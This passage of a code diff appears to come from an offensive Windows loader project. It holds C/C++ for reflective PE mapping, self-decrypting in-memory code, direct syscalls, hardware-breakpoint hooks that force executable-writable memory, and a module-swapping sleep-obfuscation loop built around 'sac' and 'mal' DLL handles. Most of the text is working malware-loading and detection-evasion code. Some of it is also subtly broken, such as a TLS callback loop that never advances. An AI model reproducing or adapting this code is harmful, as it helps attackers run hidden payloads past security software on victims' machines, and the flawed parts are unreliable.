for (size_t i = 0; i < pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
|
||||
|
||||
|
||||
pImgImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + i);
|
||||
if (pImgImpDesc->OriginalFirstThunk == NULL && pImgImpDesc->FirstThunk == NULL)
|
||||
break;
|
||||
|
||||
|
||||
dll = LLA((LPSTR)(pebase + pImgImpDesc->Name));
|
||||
if (dll == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pOriginalFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->OriginalFirstThunk);
|
||||
pFirstThunk = (PIMAGE_THUNK_DATA64)(pebase + pImgImpDesc->FirstThunk);
|
||||
|
||||
while (pOriginalFirstThunk->u1.Function != NULL && pFirstThunk->u1.Function != NULL) {
|
||||
|
||||
if (pOriginalFirstThunk->u1.Ordinal & 0x8000000000000000) {
|
||||
|
||||
|
||||
ordinal = pOriginalFirstThunk->u1.Ordinal & 0xFFFF;
|
||||
funcAddress = GPARO(dll, (int)ordinal);
|
||||
if (funcAddress != nullptr)
|
||||
pFirstThunk->u1.Function = (ULONGLONG)funcAddress;
|
||||
|
||||
}
|
||||
else {
|
||||
pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pebase + pOriginalFirstThunk->u1.AddressOfData);
|
||||
funcAddress = GPAR(dll, pImgImportByName->Name);
|
||||
if (funcAddress != nullptr)
|
||||
pFirstThunk->u1.Function = (ULONGLONG)funcAddress;
|
||||
}
|
||||
|
||||
pOriginalFirstThunk++;
|
||||
pFirstThunk++;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/*--------------APPLY BASE RELOCATIONS--------------*/
|
||||
|
||||
|
||||
delta = (ULONG_PTR)pebase - pImgOptHdr->ImageBase;
|
||||
|
||||
pImgRelocation = (PIMAGE_BASE_RELOCATION)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
|
||||
while (pImgRelocation->VirtualAddress) {
|
||||
|
||||
|
||||
pRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgRelocation + 1);
|
||||
entriesCount = (int)((pImgRelocation->SizeOfBlock - 8) / 2);
|
||||
|
||||
|
||||
for (int i = 0; i < entriesCount; i++) {
|
||||
|
||||
switch (pRelocEntry->Type) {
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
{
|
||||
|
||||
ULONGLONG* toAdjust = (ULONGLONG*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
|
||||
*toAdjust += (ULONGLONG)delta;
|
||||
break;
|
||||
}
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
{
|
||||
|
||||
DWORD* toAdjust = (DWORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
|
||||
*toAdjust += (DWORD)delta;
|
||||
}
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGH:
|
||||
{
|
||||
WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
|
||||
*toAdjust += HIWORD(delta);
|
||||
|
||||
}
|
||||
break;
|
||||
case IMAGE_REL_BASED_LOW:
|
||||
{
|
||||
|
||||
WORD* toAdjust = (WORD*)(pebase + pImgRelocation->VirtualAddress + pRelocEntry->Offset);
|
||||
*toAdjust += LOWORD(delta);
|
||||
|
||||
|
||||
}
|
||||
break;
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
//The base relocation is skipped. This type can be used to pad a block
|
||||
break;
|
||||
|
||||
}
|
||||
pRelocEntry++;
|
||||
|
||||
}
|
||||
|
||||
pImgRelocation = (PIMAGE_BASE_RELOCATION)(reinterpret_cast<DWORD_PTR>(pImgRelocation) + pImgRelocation->SizeOfBlock);
|
||||
|
||||
}
|
||||
|
||||
/*-------------ADJUST MEMORY PROTECTIONS BASING ON SECTIONS HEADERS*/
|
||||
PVOID memAddressForSyscall = NULL;
|
||||
SIZE_T payloadSizeforSyscall = NULL;
|
||||
ULONG uOldProtection = NULL;
|
||||
|
||||
for (int i = 0; i < ImgFileHdr.NumberOfSections; i++) {
|
||||
|
||||
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) {//write
|
||||
|
||||
dwProtection = PAGE_WRITECOPY;
|
||||
}
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) {//read
|
||||
|
||||
dwProtection = PAGE_READONLY;
|
||||
}
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE) {//exec
|
||||
|
||||
dwProtection = PAGE_EXECUTE;
|
||||
}
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //readwrite
|
||||
|
||||
dwProtection = PAGE_READWRITE;
|
||||
|
||||
}
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executewrite
|
||||
|
||||
dwProtection = PAGE_EXECUTE_WRITECOPY;
|
||||
|
||||
}
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ) { //executeread
|
||||
|
||||
dwProtection = PAGE_EXECUTE_READ;
|
||||
|
||||
}
|
||||
if (peSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && peSections[i]->Characteristics & IMAGE_SCN_MEM_READ && peSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //executereadwrite
|
||||
|
||||
dwProtection = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
memAddressForSyscall = (PVOID)(pebase + peSections[i]->VirtualAddress);
|
||||
payloadSizeforSyscall = (SIZE_T)peSections[i]->SizeOfRawData;
|
||||
|
||||
if ((STATUS = ZwProtectVirtualMemory(((HANDLE)(LONG_PTR)-1), &memAddressForSyscall, &payloadSizeforSyscall, dwProtection, &uOldProtection, zwFunctions[1].SSN, zwFunctions[1].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/*--------------REGISTER EXCEPTIONS HANDLERS--------------*/
|
||||
|
||||
if (pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size) {
|
||||
pImgRuntimeFunctionEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
|
||||
if (!RAFT(pImgRuntimeFunctionEntry, (pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size / sizeof(PIMAGE_RUNTIME_FUNCTION_ENTRY)), (DWORD64)pebase)) {
|
||||
//do nothing, no worth to make it stop for this
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/*--------------EXECUTE TLS CALLBACKS--------------*/
|
||||
|
||||
if (pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {
|
||||
|
||||
pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)(pebase + pImgOptHdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
|
||||
arrayOfCallbacks = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
|
||||
|
||||
int i = 0;
|
||||
while (arrayOfCallbacks[i] != NULL) {
|
||||
|
||||
arrayOfCallbacks[i]((LPVOID)pebase, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
}
|
||||
}
|
||||
/*--------------FLUSHING INSTRUCTION CACHE ALLA FEWER*/
|
||||
|
||||
if ((STATUS = ZwFlushInstructionCache((HANDLE)-1,NULL,0x00,zwFunctions[ZwFlushInstructionCacheF].SSN, zwFunctions[ZwFlushInstructionCacheF].sysretAddr)) != 0) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*--------------RETURN ENTRY POINT ADDRESS TO CRAZY LOADER--------------*/
|
||||
return pebase;
|
||||
}
|
||||
|
||||
//IMPLEMENTED FOR YOLO LOADER
|
||||
EXTERN_DLL_EXPORT bool CrazyLoader() {
|
||||
|
||||
WCHAR kernel32[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
|
||||
CHAR createThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d','\0' };
|
||||
fnCreateThread CT = NULL;
|
||||
if ((CT = (fnCreateThread)GPAR(GMHR(kernel32), createThread)) == NULL)
|
||||
return FALSE;
|
||||
|
||||
fnDllMain pDllMain = NULL;
|
||||
PBYTE pebase = NULL;
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = NULL;
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
|
||||
PDLL_HEADER pDllHeader = NULL;
|
||||
ULONG_PTR dllBaseAddress = NULL;
|
||||
dllBaseAddress = (ULONG_PTR)CrazyLoader;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
|
||||
pDllHeader = (PDLL_HEADER)dllBaseAddress;
|
||||
|
||||
if (pDllHeader->header == 0x44434241) {
|
||||
|
||||
|
||||
pImgDosHdr = (PIMAGE_DOS_HEADER)(dllBaseAddress + (16 * sizeof(CHAR)));
|
||||
if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
|
||||
pImgNtHdrs = (PIMAGE_NT_HEADERS)(dllBaseAddress + pImgDosHdr->e_lfanew + (16 * sizeof(CHAR)));
|
||||
|
||||
if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dllBaseAddress--;
|
||||
}
|
||||
|
||||
if (!dllBaseAddress)
|
||||
return FALSE;
|
||||
|
||||
//once base address is found retrieve information to decrypt the loader
|
||||
PBYTE reflectiveAddr = NULL;
|
||||
BYTE KEY[4] = { (BYTE)(pDllHeader->key & 0xFF), (BYTE)((pDllHeader->key >> 8) & 0xFF), (BYTE)((pDllHeader->key >> 16) & 0xFF), (BYTE)((pDllHeader->key >> 24) & 0xFF) };
|
||||
reflectiveAddr = (PBYTE)ReflectiveFunction;
|
||||
|
||||
for (size_t i = 0, j = 0; i < (pDllHeader->funcSize); i++, j++) {
|
||||
if (j >= sizeof(pDllHeader->key)) {
|
||||
j = 0;
|
||||
}
|
||||
reflectiveAddr[i] = reflectiveAddr[i] ^ KEY[j];
|
||||
}
|
||||
|
||||
pebase = ReflectiveFunction();
|
||||
//re-encrypting the reflective function
|
||||
for (size_t i = 0, j = 0; i < (pDllHeader->funcSize); i++, j++) {
|
||||
if (j >= sizeof(pDllHeader->key)) {
|
||||
j = 0;
|
||||
}
|
||||
reflectiveAddr[i] = reflectiveAddr[i] ^ KEY[j];
|
||||
}
|
||||
//removing the encryption key from memory
|
||||
pDllHeader->key = 0x0;
|
||||
|
||||
//execute the entry point
|
||||
pDllMain = (fnDllMain)(pebase + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
HANDLE hThread = CT(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProc, (LPVOID)pDllMain, 0, NULL);
|
||||
if (hThread == NULL)
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
//return pDllMain((HMODULE)pebase, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
}
|
||||
|
||||
|
||||
bool InitializeFunctionAddress(PFUNCTION_ADDRESSES fnAddr) {
|
||||
// handle to ntdll and user32
|
||||
HMODULE hNtdll = { 0 };
|
||||
HMODULE hUser32 = { 0 };
|
||||
HMODULE hKernel32 = { 0 };
|
||||
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
|
||||
return false;
|
||||
}
|
||||
if (!(hUser32 = GetModuleHandleA("user32.dll"))) {
|
||||
return false;
|
||||
}
|
||||
if (!(hKernel32 = GetModuleHandleA("kernel32.dll"))) {
|
||||
return false;
|
||||
}
|
||||
// function pointers for thread contexts
|
||||
fnAddr->NtTestAlertAddress = GetProcAddress(hNtdll, "NtTestAlert");
|
||||
fnAddr->NtWaitForSingleObjectAddress = GetProcAddress(hNtdll, "NtWaitForSingleObject");
|
||||
fnAddr->MessageBoxAddress = GetProcAddress(hUser32, "MessageBoxA");
|
||||
fnAddr->ResumeThreadAddress = GetProcAddress(hKernel32, "ResumeThread");
|
||||
|
||||
if (fnAddr->NtTestAlertAddress == NULL || fnAddr->NtWaitForSingleObjectAddress == NULL || fnAddr->MessageBoxAddress == NULL || fnAddr->ResumeThreadAddress == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool InitializeNtFunctions(PNT_FUNCTIONS ntFunctions)
|
||||
{
|
||||
// Load the ntdll.dll library
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
if (hNtdll == NULL)
|
||||
{
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
ntFunctions->NtWaitForSingleObject = (NtWaitForSingleObjectFunc)GetProcAddress(hNtdll, "NtWaitForSingleObject");//
|
||||
ntFunctions->NtQueueApcThread = (NtQueueApcThreadFunc)GetProcAddress(hNtdll, "NtQueueApcThread");//
|
||||
ntFunctions->NtGetContextThread = (NtGetContextThreadFunc)GetProcAddress(hNtdll, "NtGetContextThread");//
|
||||
ntFunctions->NtSetContextThread = (NtSetContextThreadFunc)GetProcAddress(hNtdll, "NtSetContextThread");//
|
||||
ntFunctions->NtCreateThreadEx = (NtCreateThreadExFunc)GetProcAddress(hNtdll, "NtCreateThreadEx"); // Added
|
||||
ntFunctions->NtCreateEvent = (NtCreateEventFunc)GetProcAddress(hNtdll, "NtCreateEvent");
|
||||
ntFunctions->NtResumeThread = (NtResumeThreadFunc)GetProcAddress(hNtdll, "NtResumeThread");//
|
||||
ntFunctions->NtQuerySystemInformation = (NtQuerySystemInformationFunc)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||
ntFunctions->NtQueryObject = (NtQueryObjectFunc)GetProcAddress(hNtdll, "NtQueryObject");
|
||||
ntFunctions->NtQueryInformationWorkerFactory = (NtQueryInformationWorkerFactoryFunc)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");
|
||||
|
||||
|
||||
// Check if all function addresses were retrieved successfully
|
||||
if (!ntFunctions->NtResumeThread || !ntFunctions->NtWaitForSingleObject || !ntFunctions->NtQueueApcThread ||
|
||||
!ntFunctions->NtGetContextThread || !ntFunctions->NtSetContextThread || !ntFunctions->NtCreateThreadEx || !ntFunctions->NtCreateEvent
|
||||
|| !ntFunctions->NtQueryInformationWorkerFactory || !ntFunctions->NtQueryObject || !ntFunctions->NtQuerySystemInformation ) // Modified
|
||||
{
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
|
||||
|
||||
PBYTE oldMemory = NULL;
|
||||
|
||||
//even if unampped it's in the PEB
|
||||
PBYTE myBase = (PBYTE)GetModuleHandleA("SRH.dll");
|
||||
|
||||
|
||||
|
||||
//retrieve the information left from the reflective loader
|
||||
//retrieve handle of sac dll
|
||||
PHANDLE pointerToHandle = (PHANDLE)myBase;
|
||||
HANDLE sacDllHandle = *pointerToHandle;
|
||||
|
||||
//retrieve handle of mal dll
|
||||
pointerToHandle++;//+8 bytes
|
||||
HANDLE malDllHandle = *pointerToHandle;
|
||||
|
||||
//retrieve size of dll in memory
|
||||
pointerToHandle++;//+8 bytes
|
||||
PSIZE_T pointerToSize = (PSIZE_T)pointerToHandle;
|
||||
SIZE_T viewSize = *pointerToSize;
|
||||
|
||||
//retrieve the first buffer address
|
||||
pointerToHandle++;//+8 bytes
|
||||
oldMemory = (PBYTE) *pointerToHandle;
|
||||
|
||||
//remove the very first buffer allocated for the reflective DLL
|
||||
if (VirtualFree(oldMemory, 0, MEM_RELEASE) == 0) {
|
||||
//error releasing old buffer
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//here i need to initialize all the NtFunctions
|
||||
NT_FUNCTIONS ntFunctions = {0};
|
||||
if (!InitializeNtFunctions(&ntFunctions))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
// handle to ntdll and user32
|
||||
HMODULE hNtdll = { 0 };
|
||||
|
||||
if (!(hNtdll = GetModuleHandleA("ntdll"))) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// function pointers for thread contexts
|
||||
PVOID NtTestAlertAddress = GetProcAddress(hNtdll, "NtTestAlert");
|
||||
|
||||
if (NtTestAlertAddress == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//looping and Sleaping <3
|
||||
do {
|
||||
MessageBoxA(NULL, "Sleaping", "Swappala", MB_OK | MB_ICONINFORMATION);
|
||||
if (Sleaping(myBase, sacDllHandle, malDllHandle, viewSize, &ntFunctions, NtTestAlertAddress) == -1) {
|
||||
//nightmares
|
||||
MessageBoxA(NULL, "Sleaping", "With Nightmares", MB_OK | MB_ICONINFORMATION);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
} while (TRUE);
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,147 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "syscalls.h"
|
||||
|
||||
//retrieve syscall instructions address
|
||||
PBYTE retrieveRETAddr(PBYTE funcStar) {
|
||||
|
||||
int emergencybreak = 0;
|
||||
while (emergencybreak < 2048) {
|
||||
//taking into account indianess crazyness
|
||||
if (funcStar[0] == 0xc3) {
|
||||
|
||||
return funcStar;
|
||||
}
|
||||
funcStar++;
|
||||
emergencybreak++;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/*--------------HARDWARE BREAKPOINT MANAGEMENT---------------------*/
|
||||
|
||||
|
||||
unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue) {
|
||||
unsigned long long mask = (1UL << NmbrOfBitsToModify) - 1UL;
|
||||
unsigned long long NewDr7Register = (CurrentDr7Register & ~(mask << StartingBitPosition)) | (NewBitValue << StartingBitPosition);
|
||||
|
||||
return NewDr7Register;
|
||||
}
|
||||
|
||||
VOID NtMapViewOfSectionDetour(PCONTEXT pThreadCtx) {
|
||||
|
||||
|
||||
*(ULONG_PTR*)(pThreadCtx->Rsp + 80) = PAGE_EXECUTE_READWRITE;
|
||||
|
||||
pThreadCtx->EFlags = pThreadCtx->EFlags | (1 << 16);
|
||||
}
|
||||
|
||||
VOID NtCreateSectionDetour(PCONTEXT pThreadCtx) {
|
||||
|
||||
|
||||
pThreadCtx->Rdx = SECTION_ALL_ACCESS;
|
||||
|
||||
pThreadCtx->EFlags = pThreadCtx->EFlags | (1 << 16);
|
||||
}
|
||||
|
||||
VOID ZwCloseDetour(PCONTEXT pThreadCtx) {
|
||||
|
||||
//need to find the address of a C3 instruction within an executable memory range
|
||||
pThreadCtx->Rip = (ULONG_PTR)retrieveRETAddr((PBYTE)ZwCloseDetour);
|
||||
//resuming the execution
|
||||
pThreadCtx->EFlags = pThreadCtx->EFlags | (1 << 16);
|
||||
}
|
||||
|
||||
VOID unsetHardwareBreakpoint(int Dr) {
|
||||
|
||||
CONTEXT ThreadCtx = { 0 };
|
||||
SYSCALL_ENTRY zwFunctions[AmountofSyscalls] = { 0 };
|
||||
WCHAR ntdll[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
|
||||
RetrieveZwFunctions(GMHR(ntdll), zwFunctions);
|
||||
ThreadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
ZwGetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwGetContextThreadF].SSN, zwFunctions[ZwGetContextThreadF].sysretAddr);
|
||||
|
||||
switch (Dr) {
|
||||
case 1: {
|
||||
ThreadCtx.Dr1 = (DWORD64)0x00;
|
||||
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 2, 1, 0);
|
||||
break;
|
||||
}
|
||||
case 2: {
|
||||
ThreadCtx.Dr2 = (DWORD64)0x00;
|
||||
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 4, 1, 0);
|
||||
break;
|
||||
}
|
||||
case 3: {
|
||||
ThreadCtx.Dr3 = (DWORD64)0x00;
|
||||
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 6, 1, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
ZwSetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwSetContextThreadF].SSN, zwFunctions[ZwSetContextThreadF].sysretAddr);
|
||||
}
|
||||
|
||||
VOID setHardwareBreakpoint(PVOID toBeHooked, PVOID toBeHookedD, PVOID toBeHookedT, PSYSCALL_ENTRY zwFunctions) {
|
||||
|
||||
CONTEXT ThreadCtx = { 0 };
|
||||
ThreadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
ZwGetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwGetContextThreadF].SSN, zwFunctions[ZwGetContextThreadF].sysretAddr);
|
||||
|
||||
ThreadCtx.Dr1 = (DWORD64)toBeHooked;
|
||||
ThreadCtx.Dr2 = (DWORD64)toBeHookedD;
|
||||
ThreadCtx.Dr3 = (DWORD64)toBeHookedT;
|
||||
|
||||
//ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 6, 1);
|
||||
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 2, 1, 1);
|
||||
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 4, 1, 1);
|
||||
ThreadCtx.Dr7 = SetDr7Bits(ThreadCtx.Dr7, 6, 1, 1);
|
||||
|
||||
ZwSetContextThread((HANDLE)-2, &ThreadCtx, zwFunctions[ZwSetContextThreadF].SSN, zwFunctions[ZwSetContextThreadF].sysretAddr);
|
||||
}
|
||||
|
||||
LONG WINAPI VectorHandler(PEXCEPTION_POINTERS pExceptionInfo) {
|
||||
|
||||
//(ZwCloseAddress, NtMapViewOfSectionAddress, NtCreateSectionAddress);
|
||||
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
|
||||
|
||||
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)pExceptionInfo->ContextRecord->Dr1) {
|
||||
|
||||
unsetHardwareBreakpoint(1);
|
||||
|
||||
ZwCloseDetour(pExceptionInfo->ContextRecord);
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
|
||||
}
|
||||
|
||||
|
||||
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)pExceptionInfo->ContextRecord->Dr2) {
|
||||
|
||||
unsetHardwareBreakpoint(2);
|
||||
|
||||
NtMapViewOfSectionDetour(pExceptionInfo->ContextRecord);
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
|
||||
}
|
||||
|
||||
if (pExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)pExceptionInfo->ContextRecord->Dr3) {
|
||||
|
||||
unsetHardwareBreakpoint(3);
|
||||
|
||||
NtCreateSectionDetour(pExceptionInfo->ContextRecord);
|
||||
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
|
||||
}
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,695 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include "headers.h"
|
||||
|
||||
/*---------FUNCTIONS PROTOTYPES--------------*/
|
||||
FARPROC GPARO(IN HMODULE hModule, IN int ordinal);
|
||||
|
||||
/*----------------GENERIC FUNCTIONS--------------------*/
|
||||
|
||||
size_t custom_wcstombs(CHAR dest[], WCHAR src[], size_t n) {
|
||||
size_t i = 0;
|
||||
for (i = 0; src[i] != L'\0' && i < n; ++i) {
|
||||
dest[i] = (char)src[i]; // Convert ASCII characters directly
|
||||
}
|
||||
dest[i] = '\0'; // Null-terminate the wide character string
|
||||
return i; // Return the number of converted characters
|
||||
}
|
||||
|
||||
size_t custom_strlen(char str[]) {
|
||||
|
||||
|
||||
size_t len = 0;
|
||||
while (str[len] != '\0') {
|
||||
len++;
|
||||
}
|
||||
return len++;
|
||||
}
|
||||
|
||||
size_t custom_wcslen(const wchar_t* str) {
|
||||
if (!str)
|
||||
return 0;
|
||||
|
||||
size_t len = 0;
|
||||
|
||||
while (str[len] != L'\0') {
|
||||
len++;
|
||||
}
|
||||
|
||||
return len++;
|
||||
}
|
||||
|
||||
void custom_wsstr(WCHAR str[], int start, int length, WCHAR result[]) {
|
||||
int i = 0;
|
||||
while (i < length && str[start + i] != L'\0') {
|
||||
result[i] = str[start + i];
|
||||
i++;
|
||||
}
|
||||
result[i] = L'\0'; // Null-terminate the result string
|
||||
}
|
||||
|
||||
void custom_wsstr_end(WCHAR str[], int start, int length, WCHAR result[]) {
|
||||
int i = 0;
|
||||
while (i < length && str[start + i] != L'\0') {
|
||||
result[i] = str[start + i];
|
||||
i++;
|
||||
}
|
||||
result[i] = L'\0'; // Null-terminate the result string
|
||||
}
|
||||
|
||||
void custom_sstr(CHAR str[], int start, int length, CHAR result[]) {
|
||||
int i = 0;
|
||||
while (i < length && str[start + i] != '\0') {
|
||||
result[i] = str[start + i];
|
||||
i++;
|
||||
}
|
||||
result[i] = '\0'; // Null-terminate the result string
|
||||
}
|
||||
|
||||
|
||||
|
||||
void* custom_memcpy(void* pDestination, void* pSource, size_t sLength, PBYTE toZero, SIZE_T lentgh) {
|
||||
|
||||
PBYTE D = (PBYTE)pDestination;
|
||||
PBYTE S = (PBYTE)pSource;
|
||||
|
||||
while (sLength--) {
|
||||
if (S > toZero && S < (toZero + (DWORD)lentgh))
|
||||
{
|
||||
*D++ = 0x0;
|
||||
}
|
||||
else {
|
||||
*D++ = *S++;
|
||||
}
|
||||
}
|
||||
|
||||
return pDestination;
|
||||
}
|
||||
|
||||
void custom_memcpy_classic(void* pDestination, void* pSource, size_t sLength) {
|
||||
|
||||
PBYTE D = (PBYTE)pDestination;
|
||||
PBYTE S = (PBYTE)pSource;
|
||||
|
||||
while (sLength--) {
|
||||
|
||||
*D++ = *S++;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
void custom_memset_zero(void* pDestination, size_t sLength) {
|
||||
|
||||
PBYTE D = (PBYTE)pDestination;
|
||||
while (sLength--) {
|
||||
|
||||
*D++ = 0x00;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void custom_wcscpy(wchar_t* dest, const wchar_t* src) {
|
||||
while ((*dest++ = *src++) != L'\0') {
|
||||
// Copy characters until the null-terminator is encountered
|
||||
}
|
||||
}
|
||||
|
||||
void ToLowerCaseWIDE(WCHAR str[]) {
|
||||
|
||||
|
||||
|
||||
size_t i = 0;
|
||||
|
||||
while (str[i] != L'\0') {
|
||||
if (str[i] >= L'A' && str[i] <= L'Z') {
|
||||
str[i] = str[i] + 32; // Convert uppercase to lowercase
|
||||
}
|
||||
|
||||
|
||||
i++;
|
||||
}
|
||||
//return str;
|
||||
|
||||
}
|
||||
|
||||
bool CompareNStringASCII(CHAR str1[], CHAR str2[], int n) {
|
||||
|
||||
|
||||
int i = 0;
|
||||
if (custom_strlen(str1) == 0 || custom_strlen(str2) == 0 || custom_strlen(str1) < n || custom_strlen(str2) < n) {
|
||||
return FALSE;
|
||||
}
|
||||
while (str1[i] && str2[i] && i < n) {
|
||||
|
||||
if (str1[i] != str2[i]) {
|
||||
return FALSE; // Characters don't match, strings are different
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// Check if both strings have reached the null terminator at the same time
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ConvertDWORDToString(DWORD value, char* buffer, size_t bufferSize) {
|
||||
const char hexDigits[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };
|
||||
|
||||
|
||||
// Add "0x" prefix
|
||||
buffer[0] = '0';
|
||||
buffer[1] = 'x';
|
||||
|
||||
// Convert each nibble to a hexadecimal digit
|
||||
for (int i = 7; i >= 0; --i) {
|
||||
buffer[2 + (7 - i)] = hexDigits[(value >> (i * 4)) & 0xF];
|
||||
}
|
||||
|
||||
// Null-terminate the string
|
||||
buffer[10] = '\n';
|
||||
buffer[11] = '\0';
|
||||
}
|
||||
|
||||
bool ComprareNStringWIDE(WCHAR str1[], WCHAR str2[], int n) {
|
||||
|
||||
|
||||
int i = 0;
|
||||
while (str1[i] && str2[i] && i < n) {
|
||||
|
||||
if (str1[i] != str2[i]) {
|
||||
return FALSE; // Characters don't match, strings are different
|
||||
}
|
||||
i++;
|
||||
